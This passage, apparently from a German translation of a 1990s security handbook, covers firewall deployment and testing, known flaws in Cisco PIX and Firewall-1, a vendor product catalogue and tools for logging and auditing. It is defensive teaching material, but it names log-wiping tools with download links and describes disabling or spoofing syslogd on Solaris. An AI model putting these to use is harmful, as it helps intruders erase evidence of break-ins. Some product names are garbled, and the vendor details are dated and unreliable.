Ihnen entwickelten Gateways überqueren. Um einer totalen Unterbrechung Ihres derzeitigen Systems
vorzugreifen, ist es empfehlenswert, zunächst eine detaillierte Analyse dieser Verhältnisse vorzunehmen.
Sie sollten während dieses Prozesses äußerst taktvoll vorgehen. Sie werden möglicherweise Benutzer
oder Manager treffen, die darauf bestehen, daß »sie es jetzt schon seit 10 Jahren auf diese Art und Weise
durchführen«. Sie müssen mit diesen Leuten arbeiten. Es ist notwendig, daß sie den Vorgang
vollkommen verstehen. Wenn Ihre Sicherheitspraktiken die Arbeitsumgebung dieser Mitarbeiter enorm
beeinflussen, sollten Sie ihnen erklären, warum das so ist.
Das letzte, was Sie jetzt gebrauchen können, sind verärgerte lokale Benutzer. Statt dessen brauchen Sie
ihre Unterstützung, da Sie nach der Konstruktion Ihrer Firewall wahrscheinlich neue Richtlinien
verteilen werden. Die Tatsache, ob die Benutzer diese Richtlinien auch befolgen, hat dramatische
Auswirkungen auf die Sicherheit des gesamten Netzwerks. Wenn Sie anständig mit den Benutzern
umgehen, haben Sie nichts zu befürchten. Wenn Sie jedoch drakonische Anweisungen ohne jegliche
Erklärung erlassen, werden die lokalen Benutzer Sie ablehnen und jede Gelegenheit suchen, Ihnen eins
auszuwischen.
14.6.3 Richtlinien aufstellen und die richtige Firewall finden
Der nächste Schritt besteht darin, Richtlinien zu entwickeln, basierend auf dem, was Sie über Ihr
Netzwerk und seine Benutzer gelernt haben. Hier bestimmen Sie, wer auf Ihr Netzwerk zugreifen kann
und wie. Außerdem fügen Sie jegliche plattform- oder protokollspezifische Informationen ein, die Sie
gefunden haben.
Basierend auf diesen Informationen können Sie jetzt eine kluge Auswahl für eine Firewall treffen.
Zumindest verfügen Sie über genügend Informationen, um diese Angelegenheit intelligent mit
verschiedenen Herstellern ausdiskutieren zu können. Solange Sie wissen, was Sie brauchen, werden Sie
nicht von Marketingleuten des Herstellers übers Ohr gehauen.
Bevor Sie Auskünfte über einen Kauf sammeln, sollten Sie sich eine Liste der absolut notwendigen
Punkte zusammenstellen und Ihre endgültige Kaufentscheidung darauf basieren.
14.6.4 Anwenden und Testen der Firewall
Nachdem Sie Ihre Firewall gekauft haben, werden Sie schließlich Ihre gesammelten Informationen
einsetzen und Ihre Richtlinien anwenden. Dafür empfehle ich Ihnen umfangreiche Testläufe. Hierbei gibt
es zwei Phasen:
Testen der Richtlinien gegen Außenstehende
Testen der internen Richtlinien
Die erste Phase können Sie jederzeit durchführen, auch (und vielleicht vorzugsweise) wenn Ihre
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Benutzer nicht anwesend sind.
Die zweite Phase ist komplizierter. Erwarten Sie viele Probleme und planen Sie einige Zeit für
Netzwerkausfälle ein. (Machen Sie sich außerdem auf einige ärgerliche Benutzer gefaßt.) Es ist sehr
unwahrscheinlich, daß Sie es gleich beim ersten Mal richtig hinbekommen, außer wenn Ihr Netzwerk
vollkommen homogen ist und Sie über durchgehend gleiche Applikationssammlungen verfügen.
14.6.5 Sind Firewalls narrensicher?
Natürlich sind Firewalls nicht narrensicher. Viele Sites, die Firewalls benutzten, wurden geknackt.
Firewall-Produkte sind nicht in sich fehlerhaft, aber sie werden manchmal falsch implementiert. Die
Nummer-eins-Ursache für trotz Firewall geknackter Sites liegt darin, daß der Systemadministrator die
Firewall nicht korrekt konfiguriert hat.
Das heißt nicht, daß nicht manche Firewalls Sicherheitsschwachstellen haben. Einige haben sie. Meistens
aber sind diese Schwachstellen minimal. Die folgenden Abschnitte beschreiben einige.
Cisco-PIX-DES-Schwachstelle
Im Juni 1998 wurde entdeckt, daß der Cisco PIX Private Link einen kleinen (48 Bit) DES- Schlüssel
benutzt. Es ist denkbar, daß dieser geknackt werden kann. Hierzu die CIAC:
PIX Privat Link ist eine optionale Funktion, die in Cisco PIX Firewalls installiert werden
kann. PIX Private Link kreiert virtuelle IP Private Networks über unzuverlässige Netzwerke
wie das Internet und benutzt dazu Tunnel, die mit DES im ECB(»Electronic
Codebook«)-Modus verschlüsselt werden. Ein Fehler in der automatischen Syntaxanalyse
von Konfigurationsdateibefehlen reduziert die effektive Schlüssellänge für die
PIX-Private-Link-DES-Verschlüsselung auf 48 Bit im Gegensatz zu den vorgegebenen 56
Bit. Wenn Angreifer die Details des Fehlers kennen, werden Sie 8 Bit des Schlüssels im
voraus kennen. Dies reduziert die effektive Länge des Schlüssels aus Sicht des Angreifers
von 56 auf 48 Bit. Diese Reduzierung der effektiven Schlüssellänge reduziert die Arbeit, die
für einen Brute-Force-Angriff auf die Verschlüsselung notwendig ist, um den Faktor 256.
Das heißt, Angreifer, die über dieses Wissen verfügen, können den richtigen Schlüssel
256mal schneller finden, als sie es mit einem richtigen 56-Bit-Schlüssel könnten.
Cisco fand eine Abhilfe für dieses Problem. Details finden Sie unter http://www.cisco.com/
warp/public/770/pixkey-pup.shtml.
Firewall-1-Reserved-Words-Schwachstelle
Im Mai 1998 wurde entdeckt, daß Firewall-1 mehrere reservierte Schlüsselwörter beinhaltete, die ein
großes Sicherheitsloch öffneten, wenn sie benutzt wurden, um ein Netzwerkobjekt zu repräsentieren (das
benannte Objekt wird als »undefiniert« interpretiert und ist für jede Adresse zugänglich, wenn nicht
andere Änderungen vorgenommen werden).
Sie können diese Schwachstelle besser verstehen (und eine Liste der Schlüsselwörter erhalten), wenn Sie
sich das folgende Dokument herunterladen: http://www.checkpoint.com/
techsupport/config/keywords.html.
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14.7 Kommerzielle Firewalls
Der nächste Abschnitt gibt Ihnen Details über Firewall-Hersteller, ihre Produkte und spezielle
Funktionen der jeweiligen Firewalls.
AltaVista Firewall 98
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: Digital Equipment Corp.
Unterstützte Plattformen: DEC Unix, Windows NT
Weitere Informationen: http://www.altavista.software.digital.com/firewall/products/ overview/index.asp
AltaVista Firewall 98 bietet Anwendungsschicht-Gateways für FTP (Telnet), HTTP, Mail, News,
SQL*Net, RealAudio und finger. Einmal-Paßwörter werden für FTP- und Telnetdienste unterstützt.
Dieses Produkt läuft sowohl auf Intel- als auch auf Alphaplattformen.
ANS InterLock
Firewalltyp: Software
Hersteller: ANS Communications
Unterstützte Plattformen: Solaris (Sun Microsystems)
Weitere Informationen: http://www.ans.net/whatneed/security/interlock/interloc.htm
ANS InterLock bietet komplette Kontrolle über den Netzwerkverkehr, einschließlich Sperren und Filtern
nach IP-Adresse, Datum, Zeit, Benutzer, Logins und Protokoll. Die ANS- InterLock-Programmfamilie
ist eine komplette Netzwerkmanagement-Paketlösung und bietet Anwendungsschicht-Gatewaydienste.
Avertis
Firewalltyp: Firewall in einer Box
Hersteller: Galea Network Security Inc.
Unterstützte Plattformen: keine Angaben
Weitere Informationen: http://www.galea.com/En/Products/Avertis/Index.html
Avertis ist eine proprietäre Lösung, die auf proprietärer Hardware und Software basiert. Es bietet
Echtzeit-Filtering und -Analyse von Netzwerkverkehr, Schutz gegen Spoofing- Angriffe und
Hardware-Proxying.
BorderManager
Firewalltyp: Software
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Hersteller: Novell Inc.
Unterstützte Plattformen: Novell NetWare
Weitere Informationen: http://www.novell.com/text/bordermanager/index.html
BorderManager ist die führende Firewall für Novell-Netzwerke, schützt aber auch Unix- und NT-basierte
Netzwerke. Das Produkt bietet zentralisiertes Management, starke Filter und schnelle Echtzeitanalyse
von Netzwerkverkehr. Außerdem verfügt BorderManager über eine Funktion zum Aufbau von
»Mini-Firewalls«, die interne Angriffe von Abteilungen oder lokalen Netzwerken innerhalb Ihrer
Organisation abwehren.
Conclave
Firewalltyp: Software
Hersteller: Internet Dynamics Inc.
Unterstützte Plattformen: Windows NT
Weitere Informationen: http://www.interdyn.com/fyi.html
Conclave wurde entwickelt, um Intranets und Extranets zu schützen. Daher stellt Conclave nicht nur
Zugangskontrollen für die Benutzer- oder Paketebene, sondern auch für die Dateiebene zur Verfügung.
Conclave wendet außerdem MD5-Paketintegrität-Analysen an, um es Crackern zu erschweren,
Datenpakete zu fälschen oder Arbeitssitzungen an Terminals abzufangen.
CSM Proxy/Enterprise Edition
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: CSM-USA Inc.
Unterstützte Plattformen: Linux, Solaris und Windows NT
Weitere Informationen: http://www.csm-usa.com/proxy/index.htm
CSM Proxy ist eine umfassende Proxy-Server-Lösung, die das Filtern von ActiveX und Java Scripts,
Cookies, News und Mail beinhaltet. CSM Proxy unterstützt jetzt auch Windows 95.
CyberGuard Firewall
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: CyberGuard Corp.
Unterstützte Plattformen: UnixWare und Windows NT
Weitere Informationen: http://www.cyberguard.com/products2/frames/nt_overview.html
CyberGuard bietet statische und dynamische Echtzeit-Paketfilter für alle üblichen Protokolle (IP, TCP,
UDP und ICMP) und eine ganze Reihe von Proxies.
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CyberShield
Firewalltyp: Hardware/Software
Hersteller: BDM International Inc.
Unterstützte Plattformen: Data General
Weitere Informationen: http://www.cybershield.com/
CyberShield ist eine proprietäre, fokussierte Lösung. Viele der Protokollierungs- und Auditingfunktionen
von CyberShield wurden für eine nahtlose Integrierung in die B2-Level Assurance Security Controls in
DG-UX entwickelt. Es ist eine gute »komplette« Lösung, insbesondere wenn Ihre Beschäftigten
Erfahrungen mit Data General Unix haben. CyberShield gibt Ihnen Sicherheit auf einem sehr hohen
Niveau.
Elron Firewall/Secure
Firewalltyp: Software/Hardware
Hersteller: Elron Software Inc.
Unterstützte Plattformen: Windows NT und Secure32OS
Weitere Informationen: http://www.elronsoftware.com/proddoc.html
Die Elron Firewall beinhaltet ein Firewall-Betriebssystem, das als NT-Dienst läuft. Die Administration
findet über NT statt und das Produkt bietet zentrales Management und Benutzerfreundlichkeit.
FireWallA 3.0
Firewalltyp: Software
Hersteller: Check Point Software Technologies Ltd.
Unterstützte Plattformen: Windows NT und Unix
Weitere Informationen: http://www.checkpoint.com/products/firewall-1/descriptions/ products.html
Die FirewallA hat weltweit den größten Marktanteil. Das Produkt beinhaltet Paketfilter, starke
Inhaltsüberprüfungen, integrierten Schutz gegen Spoofing und sogar Echtzeit-Scan- Vorgänge für
Computerviren. Außerdem bietet FirewallA eine Time-Object-Kontrolle; es ermöglicht Ihnen die
Kontrolle darüber, wie oft auf Ihre Netzwerk-Ressourcen zugegriffen werden kann.
Gauntlet Internet Firewall
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: Trusted Information Systems
Unterstützte Plattformen: Unix, Windows NT, DMS, ITSEC E3 und IRIX
Firewalls
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Weitere Informationen: http://www.tis.com/prodserv/gauntlet/index.html
Erinnern Sie sich an das TIS Firewall Toolkit? Es bildete die Grundlage für Gauntlet. Gauntlet bietet
starke Paketfilter, DES- und Triple-DES-Verschlüsselung, Benutzertransparenz und integriertes
Management.
GNAT Box Firewall
Firewalltyp: Firewall in einer Box
Hersteller: Global Technology Associates
Unterstützte Plattformen: keine Angaben
Weitere Informationen: http://www.gnatbox.com/
GNAT ist eine Firewall in einer Box. Diese proprietäre Hardware und Software ist in ein einzelnes Gerät
gepackt. (Diese Art von Produkten sind Plug-in-Lösungen. Sie schließen Sie einfach nur an und können
loslegen.) Sie können die GNAT-Box entweder über ein Befehlszeilen- oder ein Web-basiertes Interface
bedienen. GNAT filtert eingehenden Verkehr, basierend auf IP-Ursprungsadresse, Zieladresse, Port,
Netzwerk-Interface und Protokoll.
Guardian
Firewalltyp: Software
Hersteller: NetGuard Inc.
Unterstützte Plattformen: Windows NT
Weitere Informationen: http://www.ntguard.com/grfeatures.html
Guardian bietet komplette Transparenz (Benutzer müssen ihre Gewohnheiten nicht ändern), Filter,
Inhaltsüberprüfung und Zugangskontrollen. Das Produkt benutzt außerdem ein proprietäres
Kommunikationsprotokoll zwischen der Systemmanager-Applikation und den Agent-Applikationen.
Außerdem verfügt das Programm über gute Verschlüsselungsunterstützung.
IBM eNetwork Firewall
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: IBM
Unterstützte Plattformen: AIX und Windows NT
Weitere Informationen: http://www.software.ibm.com/enetwork/firewall/
eNetwork Firewall ist eine Kombination mehrerer Firewall-Architektur-Designs. Es bietet sowohl
Anwendungsschicht-Gateways als auch komplexe Paketfilter. Außerdem stellt das Produkt einen
VPN-Pfad zwischen Ihren Benutzern und der Firewall zur Verfügung.
Firewalls
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Interceptor Firewall Appliance
Firewalltyp: Firewall in einer Box
Hersteller: Technologic Inc.
Unterstützte Plattformen: BSDI
Weitere Informationen: http://www.tlogic.com/appliancedocs/index.html
Dies ist eine preiswerte Komplettlösung für Netzwerke, die keine umfassende Anpassung benötigen.
Interceptor bietet Plug&Play-Firewall-Funktionalität, darunter vorkonfigurierte Proxies, zentralisierte
Überwachung, Audit- und Protokollverfolgung und plattformneutrale Administration. (Sie können dieses
Produkt von jeder Plattform managen.)
NETBuilder
Firewalltyp: Router-basiert
Hersteller: 3Com Corp.
Unterstützte Plattformen: Solaris, Windows NT, HP-UX
Weitere Informationen: http://www.3com.com/products/dsheets/pdf/40023808.pdf
NETBuilder ist eine Router-Hardware- und -Softwarefamilie. Die IP-Firewall-Möglichkeit ist in das
NETBuilder-Routerpaket integriert. Es bietet extrem feines Filtern nach Protokoll, Port, Adresse und
Applikation.
NetRoad TrafficWARE Firewall
Firewalltyp: Software - Anwendungsschicht-Gateway
Hersteller: Ukiah Software Inc.
Unterstützte Plattformen: Windows NT
Weitere Informationen: http://www.ukiahsoft.com/
NetRoad bietet Anwendungsschicht-Gateways, zentralisiertes Management, Bandbreitenkontrolle und
sogar Arbeitssitzungsprioritäten. Basierend auf bestimmten Regeln können Sie bestimmen, welche
Netzwerk-Arbeitssitzungen zuerst erledigt werden.
NetScreenA0
Hersteller: NetScreen Technologies Inc.
Gestützte Podeste: keine Angaben
Weitere Informationen: http://www.netscreen.com/netscreen100.htm
NetScreen ist sowohl eine Firewall als auch eine Extranet-Lösung. Es bietet IPSEC-, DES- und
Firewalls
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Triple-DES-Verschlüsselung und Arbeitssitzung-Integritätsprüfungen über MD5 und SHA. Unterstützte
Protokolle sind ARP, TCP/IP, UDP, ICMP, DHCP, HTTP, RADIUS und IPSEC.
PIX Firewall 4.1
Firewalltyp: Router-basiert
Hersteller: Cisco Systems Inc.
Unterstützte Plattformen: keine Angaben
Weitere Informationen: http://www.cisco.com/warp/public/751/pix/
Diese Firewall verläßt sich nicht auf Anwendungsproxies (die zusätzliche Ressourcen und CPU-Zeit
brauchen), sondern auf ein sicheres Betriebssystem innerhalb der Hardwarekomponente selbst. Spezielle
Funktionen sind ein HTML-Konfigurations- und Administrationstool, IP-Verbergung und
Nichtübersetzung und Unterstützung für 16.000 sofortige Verbindungen.
Raptor Firewall
Hersteller: Raptor Systems
Unterstützte Plattformen: Solaris und Windows NT
Weitere Informationen: http://www.raptor.com/products/datasheets/prodsheet.html
Raptor-Produkte verbinden eine ganze Reihe von Firewalltechniken, darunter umfassende
Protokollierung, spezialisierter, ereignisabhängiger Umgang mit verdächtigen Aktivitäten und extrem
enggefaßte Zugangskontrollen. Diese Familie von Firewallprodukten integriert
Anwendungsschicht-Proxies.
Secure Access
Firewalltyp: Router-basiert
Hersteller: Ascend Communications Inc.
Unterstützte Plattformen: keine Angaben
Weitere Informationen: http://www.ascend.com/656.html
Secure Access wird durch die Ascend-MAX-Routerfamilie zur Verfügung gestellt. Funktionen sind u.a.
Zugangskontrollen, Verschlüsselung, fortgeschrittene Filter, Unterstützung für die meisten bekannten
Protokolle und RADIUS Anwahlmanagement.
SecurIT Firewall
Firewalltyp: Anwendungsschicht-Gateway
Hersteller: Milkyway Networks Corp.
Firewalls
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Unterstützte Plattformen: Solaris und Windows NT
Weitere Informationen: http://www.milkyway.com/libr/solarisdes.html
SecurIT ist eine duale Anwendungsschicht-/Schaltungsschicht-Firewall-Lösung, die Proxies für die
meisten bekannten Dienste (darunter SQL*Net und Pop3), hochgradige Verschlüsselung und ein
eingebautes VPN bietet.
SunScreen
Firewalltyp: Gemischt
Hersteller: Sun Microsystems
Unterstützte Plattformen: SunOS und Solaris
Weitere Informationen: http://www.sun.com/security/overview.html
SunScreen von Sun Microsystems besteht aus einer Reihe von Produkten. Mit ihrer
SunScreen-Produktlinie reagiert Sun auf eines der Hauptprobleme, das ich vorher angesprochen habe:
Wenn Ihr Engpaß durchbrochen wird, ist Ihr Netzwerk komplett offengelegt. Suns neue Produktlinie
wird wahrscheinlich die Firewall-Industrie revolutionieren (sicherlich, was die Sun-Plattform betrifft).
Die hauptsächlichen Produkte sind:
SunScreen SPF 100/100G - Schlüsselfertige Lösung, die eine Nicht-IP-Adreßmöglichkeit zur
Verfügung stellt. Das heißt, das Cracker von außen die Knotenpunkte hinter der Firewall nicht
hundertprozentig identifizieren können. Außerdem wurde starke Paketfilter-Technologie integriert.
SunScreen EFS - Implementiert umfassende Paketfilter und, noch wichtiger, Verschlüsselung.
Spezielle Komforts sind u.a. Provisionen für entfernte Administration und Administration über ein
HTML-Interface.
SunScreen SKIP - Dieses interessante Produkt bietet sichere Authentifizierung für PCs und
Workstations.
14.8 Zusammenfassung
Firewalls sind zur Zeit der letzte Schrei, und das ist durchaus berechtigt. Sie bieten umfassende
Sicherheit vor Angriffen von außen. Firewalls sollten jedoch nicht die einzige Komponente Ihrer
allgemeinen Sicherheitsarchitektur sein. Ich empfehle Ihnen ausdrücklich, sich nicht nur auf eine
Firewall zu verlassen.
14.9 Informationsquellen
Dieser Abschnitt stellt Ihnen einige URLs zur Verfügung, unter denen Sie Online-Dokumente finden, die
Ihnen die Firewall-Technologie weiter erklären.
Internet Firewalls and Network Security (Second Edition). Chris Hare und Karanjit Siyan. New Riders.
ISBN: 1-56205-632-8. 1996.
Firewalls
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Internet Firewalls. Scott Fuller und Kevin Pagan. Ventana Communications Group Inc. ISBN:
1-56604-506-1. 1997.
Building Internet Firewalls. D. Brent Chapman und Elizabeth D. Zwicky. O'Reilly & Associates. ISBN:
1-56592-124-0. 1995.
Firewalls and Internet Security: Repelling the Wily Hacker. Addison-Wesley Professional Computing.
William R. Cheswick und Steven M. Bellovin. ISBN: 0-201-63357-4. 1994.
Actually Useful Internet Security Techniques. Larry J. Hughes, Jr. New Riders. ISBN 1- 56205-508-9.
1995.
Internet Security Resource Library: Internet Firewalls and Network Security, Internet Security
Techniques, Implementing Internet Security. New Riders. ISBN: 1-56205-506-2. 1995.
Firewalls FAQ. Marcus J. Ranum. http://www.cis.ohio-state.edu/hypertext/faq/usenet/
firewalls-faq/faq.html.
NCSA Firewall Policy Guide. Kompiliert von Stephen Cobb, Director of Special Projects. National
Computer Security Association. http://www.ncsa.com/fpfs/fwpg_p1.html.
There Be Dragons. Steven M. Bellovin. Protokoll des Third Usenix Unix Security Symposium,
Baltimore, September 1992. AT&T Bell Laboratories, Murray Hill, NJ. 15. August 1992.
Rating of application layer proxies. Michael Richardson.
http://www.sandelman.ottawa.on.ca/SSW/proxyrating/proxyrating.html.
Keeping your site comfortably secure: An Introduction to Internet Firewalls. John P. Wack und Lisa J.
Carnahan. National Institute of Standards and Technology. http:// csrc.ncsl.nist.gov/nistpubs/800-10/.
SQL*Net and Firewalls. David Sidwell und Oracle Corporation. http://www.zeuros.co.uk/
firewall/library/oracle-and-fw.pdf.
Covert Channels in the TCP/IP Protocol Suite. Craig Rowland. Rotherwick & Psionics Software
Systems Inc. http://csrc.ncsl.nist.gov/nistpubs/800-10.ps
If You Can Reach Them, They Can Reach You. William Dutcher. Ein PC-Week-Online-Special-Report,
19. Juni 1995. http://www.pcweek.com/sr/0619/tfire.html.
Packet Filtering for Firewall Systems. Februar 1995. CERT (und Carnegie-Mellon University).
ftp://info.cert.org/pub/tech_tips/packet_filtering.
Network Firewalls. Steven M. Bellovin und William R. Cheswick. IEEECM, 32(9), pp. 50- 57,
September 1994.
Session-Layer Encryption. Matt Blaze und Steve Bellovin. Protokoll des Usenix Security Workshop, Juni
1995.
A Network Perimeter with Secure External Access. Frederick M. Avolio und Marcus J. Ranum. Ein
Papier, das Details einer Implementierung einer Firewall im Weißen Haus gibt.
http://www.alw.nih.gov/Security/FIRST/papers/firewall/isoc94.ps.
Firewalls
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Packets Found on an Internet. Steven M. Bellovin. Lambda. Interessante Analyse von Paketen, die am
Anwendungsschicht-Gateway von AT&T erscheinen. ftp://ftp.research.att.com/dist/smb/packets.ps .
Using Screend to Implement TCP/IP Security Policies. Jeff Mogul. Rotherwick and Digital.
http://www.zeuros.co.uk/firewall/library/screend.ps.
Firewall Application Notes. Livingston Enterprises, Inc. Gutes Dokument, das mit einer Beschreibung
darüber beginnt, wie man eine Firewall aufbaut. Außerdem behandelt es Anwendungsschicht-Proxies,
Sendmail in Relation zu Firewalls und die Charakteristiken eines Bastion-Hosts.
http://www.telstra.com.au/pub/docs/security/firewall-1.1.ps.Z.
X Through the Firewall, and Other Application Relays. Treese/Wolman. Digital Equipment Corp.
Cambridge Research Lab. ftp://crl.dec.com/pub/DEC/CRL/tech-reports/ 93.10.ps.Z.
Intrusion Protection for Networks 171. BYTE Magazine. April 1995.
Benchmarking Methodology for Network Interconnect Devices (RFC 1944). S. Bradner und J. McQuaid.
ftp://ds.internic.net/rfc/rfc1944.txt.
Vulnerability in Cisco Routers Used as Firewalls. Computer Incident Advisory Capability Advisory:
Number D-15. http://ciac.llnl.gov/ciac/bulletins/d-15.shtml.
WAN-Hacking with AutoHack - Auditing Security Behind the Firewall. Alec D. E. Muffett. Geschrieben
vom Autor von Crack, dem berühmten Programm zum Knacken von Paßwörtern. Dieses Dokument
behandelt Methoden zum Auditing von Sicherheit hinter einer Firewall (und das Auditing eines sehr
großen Netzwerks, das Zehntausende von Hosts umfaßt.)
http://solar.net.ncu.edu.tw/~jslee/me/docs/muffett-autohack.ps.
Windows NT Firewalls Are Born. PC Magazine. 4. February 1997.
http://www.pcmagazine.com/features/firewall/_open.htm .
IP v6 Release and Firewalls. Uwe Ellermann. 14. Worldwide Congress on Computer and
Communications Security. Protection, pp. 341-354, Juni 1996.
The SunScreen Product Line Overview. Sun Microsystems. http://www.sun.com/security/ overview.html.
Product Overview for IBM Internet Connection Secured Network Gateway for AIX, Version 2.2. IBM
firewall information. http://www.ics.raleigh.ibm.com/firewall/overview.htm.
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15
Protokollierungs- und Auditing-Tools
15.1 Protokollierungstools
Dieses Kapitel stellt Ihnen Tools vor, die Ihnen dabei helfen können, das meiste aus Ihren Log-Dateien
herauszuholen.
15.2 Warum noch mehr Logs benutzen?
Wenn Ihr Betriebssystem bereits integrierte Unterstützung für Protokollierung bietet, kommen Sie
vielleicht in Versuchung, vom Laden zusätzlicher Protokollierungstools abzusehen. Sie sollten dieser
Versuchung widerstehen. Sie können Ihren Log-Dateien nicht immer vertrauen. Tatsächlich ist das
Ändern von Log-Dateien eines der ersten Dinge, die Cracker lernen. Diese Praxis ist so weit verbreitet,
daß es heute Tools gibt, die den Prozeß automatisieren. Hier sind einige davon:
UTClean. UTClean ist ein Utility, das jeglichen Hinweis auf Ihre Anwesenheit in wtmp, wtmpx,
utmp, utmpx und lastlog löscht. Schauen Sie sich UTClean an unter http://
www.unitedcouncil.org/c/utclean.c.
remove. remove löscht jeglichen Hinweis auf Ihre Anwesenheit in utmp, wtmp und lastlog .
remove finden Sie unter http://www.unitedcouncil.org/c/remove.c.
marry. marry ist ein Tool, um Eingaben in utmp, wtmp und lastlog zu editieren. Schauen Sie sich
marry an unter http://www.unitedcouncil.org/c/marry.c.
Hinweis:
Protokollierungs- und Auditing-Tools
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wtmp, wtmpx, utmpx und lastlog zeichnen Benutzerinformationen auf und geben sie aus, darunter z.B.
zu welcher Zeit dieser oder jener Benutzer auf das System zugriff. Eine last-Eingabe auf root wird eine
Ausgabe wie die folgende generieren:
root console Fri Jun 19 17:01 - down (00:01)
root console Fri Jun 12 12:26 - down (4+02:16)
root console Tue May 19 10:45 - down (01:50)
root console Fri May 1 11:23 - down (00:02)
root console Fri Apr 24 09:56 - 09:56 (00:00)
root console Mon Mar 23 02:53 - down (00:01)
root console Mon Mar 23 02:43 - down (00:01)
Wenn ein Eindringen erfolgt, nehmen sich Systemadministratoren diese Log- Dateien vor, um zu sehen,
wer wann auf den Rechner zugegriffen hat.
Um Cracker davon abzuhalten, die Einträge in Ihren Log-Dateien zu manipulieren, sollten Sie
mindestens ein Protokollierungs-Tool eines Drittanbieters einsetzen. Erstens ist die Cracker-Gemeinde
zwar sehr gut vertraut mit betriebssystem-basierten Log-Dateien, aber nur wenige Cracker verfügen über
das nötige Wissen oder die nötigen Mittel, um Protokollierungs-Software von Drittanbietern zu
umgehen. Zweitens generiert gute Drittanbieter- Software unabhängige Log-Dateien, ohne die
Log-Dateien des Betriebssystems als Ausgangspunkt zu benutzen. Sie werden sofort wissen, daß jemand
in Ihr System eingedrungen ist, wenn Sie diese Informationen später vergleichen und eine Diskrepanz
zwischen den Drittanbieter-Logs und ihren regulären Logs finden.
Dies gilt insbesondere dann, wenn Sie die Drittanbieter-Logs isolieren. Nehmen wir z.B. an, Sie
benutzen ein Protokollierungs-Tool eines Drittanbieters, um später die Integrität der
betriebssystembasierten Log-Dateien zu überprüfen. Warum nicht diese Drittanbieter-Logs auf ein
einmalbeschreibbares Medium speichern? Das ist heute nicht mehr so teuer, und es gibt Ihnen einen Satz
zuverlässiger Log-Dateien, und Zuverlässigkeit ist alles.
Hinweis:
Entwickler arbeiten an Methoden, die Cracker davon abhalten können, Log- Dateien zu manipulieren.
Z.B. führte 4.4BSD »secure levels« ein, ein System, durch das Kernel- und Systemdateien vor
Manipulierung durch Eindringlinge geschützt werden. (Diese Secure-levels können so eingestellt
werden, daß selbst root die Daten nicht ändern kann.) Im Juni 1998 wurde das secure level-Schema
allerdings geknackt. (Das Problem ist nicht auf Unix beschränkt. Log-Dateien von
Windows-NT-Servern können korrumpiert und mit Fehlern überschwemmt werden, wenn sie von einer
Utility namens coke angegriffen werden.)
Ein Drittanbieterprodukt zu benutzen ist eine umsichtige Maßnahme, falls Ihre integrierten
Protokollierungs-Utilities versagen. Zum Beispiel kürzt auf manchen Versionen von Solaris die
wtmpx-Datei eingehende Hostnamen ab und macht damit alle über last erhaltenen Daten fehlerhaft und
unvollständig.
Protokollierungs- und Auditing-Tools
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Es ist heutzutage eine unter Crackern recht verbreitete Prozedur, Ihre Protokollierungs-Utilities vor
einem eigentlichen Angriff außer Gefecht zu setzen. Wenn auf dem Zielrechner beispielsweise Solaris
2.5.x läuft, können Sie syslogd ganz einfach ausschalten, indem Sie ihr eine externe Nachricht von einer
nichtexistenten IP-Adresse senden. Ähnliches gilt, wenn syslogd entfernte Nachrichten akzeptiert, dann
kann jeder einen falschen Eintrag in die Log- Datei einfügen. Wenn syslogd Log-Einträge von entfernten
Rechnern akzeptiert, ist es außerdem möglich, die Logs zu verwirren.
Aus all diesen Gründen sollten Sie den Einsatz eines alternativen Protokollierungssystems in Betracht
ziehen. Die nächsten Abschnitte stellen Ihnen einige gute kurz vor.
15.3 Netzwerküberwachung und Datensammlung
Die folgenden Tools geben nicht nur Daten aus Log-Dateien aus, sondern sammeln auch ensprechende
Daten aus verschiedenen Quellen.
SWATCH (The System Watcher)
Autor: Stephen E. Hansen und E. Todd Atkins
Plattform: Unix (Perl erforderlich)
URL: ftp://coast.cs.purdue.edu/pub/tools/unix/swatch/
Die Autoren haben SWATCH geschrieben, um die in Unix-Systemen integrierten
Protokollierungs-Utilities zu ergänzen. SWATCH bietet daher Protokollierungsmöglichkeiten, die die
Ihrer gewöhnlichen syslog weit übertreffen, dazu gehören Echtzeit-Überwachung, -Protokollierung und
-Berichtsausgabe. Da SWATCH in Perl geschrieben wurde, ist es sowohl portierbar als auch erweiterbar.
SWATCH hat mehrere einzigartige Merkmale:
Ein »Backfinger«-Utility, das versucht, finger-Informationen vom angreifenden Host abzufangen.
Unterstützung für sofortigen Seitenwechsel (so daß Sie minutenaktuelle Berichte erhalten können).
Von Bedingungen abhängige Ausführung von Befehlen (»wenn diese Bedingung in einer
Log-Datei gefunden wird, tue das«).
Und schließlich basiert SWATCH auf lokalen Konfigurationsdateien. Bequemerweise können mehrere
Konfigurationsdateien auf einem Rechner existieren. Obwohl SWATCH ursprünglich nur für
Systemadministratoren gedacht war, können daher alle lokalen Benutzer mit entsprechenden Privilegien
SWATCH benutzen.
Watcher
Kenneth Ingham
Tel.: +1-505-262-0602
E-Mail: ingham@i-pi.com
URL: http://www.i-pi.com/
Protokollierungs- und Auditing-Tools
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Ingham hat Watcher während seiner Zeit am University of New Mexico Computing Center entwickelt,
als das Rechenzentrum zu jener Zeit erweitert wurde. Anschließend war der Protokollierungsprozeß, der
bis dahin benutzt worden war, nicht mehr angemessen. Ingham suchte nach einem Weg,
Logdatei-Überprüfungen zu automatisieren. Watcher war das Resultat seiner Bemühungen.
Watcher analysiert verschiedene Log-Dateien und Prozesse und sucht nach radikal abnormen
Aktivitäten. (Der Autor hat diesen Prozeß genügend fein abgestimmt, so daß Watcher die weit
unterschiedlichen Resultate von Befehlen wie ps interpretieren kann, ohne gleich Alarm auszulösen.)
Watcher läuft auf Unix-Systemen und erfordert einen C-Compiler.
lsof (List Open Files)
Autor: Vic Abell
Plattform: Unix
URL: ftp://coast.cs.purdue.edu/pub/tools/unix/lsof/
lsof Version 4 verfolgt nicht einfach nur offene Dateien (einschließlich Netzwerkverbindungen, Pipes,
Datenströmen usw.), sondern auch die Prozesse, die sie besitzen. lsof läuft auf vielen Unix-Systemen,
darunter u.a.:
AIX 4.1.[45], 4.2[.1] und 4.3[.1]
BSDI BSD/OS 2.1 und 3.[01] für Intel-basierte Systeme
Digital Unix (DEC OSF/1) 2.0, 3.2 und 4.0
FreeBSD 2.1.[67], 2.2 und 3.0 für Intel-basierte Systeme
HP-UX 9.01, 10.20 und 11.00
IRIX 5.3, 6.2, 6.3 und 6.4
